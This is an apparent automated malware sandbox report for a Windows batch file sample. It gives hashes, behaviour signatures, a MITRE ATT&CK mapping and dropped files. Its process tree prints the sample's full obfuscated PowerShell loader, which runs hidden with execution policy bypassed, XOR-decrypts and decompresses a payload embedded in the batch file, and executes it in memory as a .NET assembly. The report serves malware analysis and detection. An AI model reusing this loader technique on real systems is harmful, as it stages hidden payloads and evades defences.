Overview

overview

10

Static

static

1

test_bat_c...c7.bat

windows7-x64

7

test_bat_c...c7.bat

windows10-2004-x64

10

test_bat_c...20.bat

windows7-x64

7

test_bat_c...20.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    30s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    18-05-2023 05:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    test_bat_c/96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat

  • Size

    3.8MB

  • MD5

    6fc558d212f65828c274f27909e51aa7

  • SHA1

    612487c386d838f506021ff846b47944b255a6a3

  • SHA256

    96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7

  • SHA512

    a9a2218f65e5c48c8906505f1da7061179e2a749c6e93146ea33badfb0d4bda04433861d144aa4decccaca2e1c4ddf0db67e749602cf1d41091c29426c8cab1c

  • SSDEEP

    49152:2EqA3wg9X6szO4oX2nOw/YNBsXCzJtitbEbyzIBlkW1fMxpqZ8tAO3:z

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe
      "96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $XLWhh = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat').Split([Environment]::NewLine);foreach ($WsFgo in $XLWhh) { if ($WsFgo.StartsWith(':: ')) { $JxeYG = $WsFgo.Substring(3); break; }; };$chhJU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($JxeYG);$ZKRDr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3cgBc+XH5sweWk/CLj6TVRIWMhpkocSi4UhQ/JQ9ghE=');for ($i = 0; $i -le $chhJU.Length - 1; $i++) { $chhJU[$i] = ($chhJU[$i] -bxor $ZKRDr[$i % $ZKRDr.Length]); };$hfZVr = New-Object System.IO.MemoryStream(, $chhJU);$wXYTE = New-Object System.IO.MemoryStream;$DjQPH = New-Object System.IO.Compression.GZipStream($hfZVr, [IO.Compression.CompressionMode]::Decompress);$DjQPH.CopyTo($wXYTE);$DjQPH.Dispose();$hfZVr.Dispose();$wXYTE.Dispose();$chhJU = $wXYTE.ToArray();$ZCCzR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($chhJU);$wjVeh = $ZCCzR.EntryPoint;$wjVeh.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:948

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe
    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

    Download Submit
  • \Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe
    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

    Download Submit
  • memory/948-59-0x000000001B270000-0x000000001B552000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/948-60-0x0000000002700000-0x0000000002780000-memory.dmp
    Filesize

    512KB

    Download
  • memory/948-61-0x0000000002700000-0x0000000002780000-memory.dmp
    Filesize

    512KB

    Download
  • memory/948-62-0x0000000002700000-0x0000000002780000-memory.dmp
    Filesize

    512KB

    Download
  • memory/948-63-0x0000000001EC0000-0x0000000001EC8000-memory.dmp
    Filesize

    32KB

    Download
  • memory/948-64-0x000000000270B000-0x0000000002742000-memory.dmp
    Filesize

    220KB

    Download